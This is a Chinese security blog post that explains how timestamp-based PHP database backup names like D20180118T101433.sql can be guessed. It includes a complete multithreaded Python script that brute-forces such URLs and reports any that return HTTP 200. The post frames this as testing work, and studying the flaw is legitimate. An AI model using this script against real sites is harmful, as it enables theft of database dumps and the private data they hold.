利用Python爆破数据库备份文件

  某次测试过程中,发现PHP备份功能代码如下:

// 根据时间生成备份文件名
$file_name = 'D' . date('Ymd') . 'T' . date('His');
$sql_file_name = $file_name . '.sql';

  那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

Python测试脚本:

简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import time
import requests
import threadpool

date= "2018-01-18 10:00:00"  //开始时间
datelist=[]

def gettime():
    timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
    time1= int(time.mktime(timeArray))
    time2=int(time.time())
    for i in range(time1,time2):
        time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
        datelist.append(time3)
    return datelist
def req(str):           
    try:
        str1,str2=str.split()
        date1="D"+str1+"T"+str2
        url="http://127.0.0.1/data/backup/"+date1+".sql"
        s=requests.get(url,timeout=5)
        if  s.status_code==200:
            print u"数据库备份文件爆破成功:"
            print url
    except:
        pass

if __name__ == '__main__':
    list=gettime()
    pool = threadpool.ThreadPool(1000) 
    requ = threadpool.makeRequests(req,list) 
    [pool.putRequest(req) for req in requ] 
    pool.wait()

Python 测试截图:

 

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考链接:

python时间,日期,时间戳处理  http://blog.csdn.net/xiaobing_blog/article/details/12591917

转载于:https://www.cnblogs.com/xiaozi/p/8309884.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值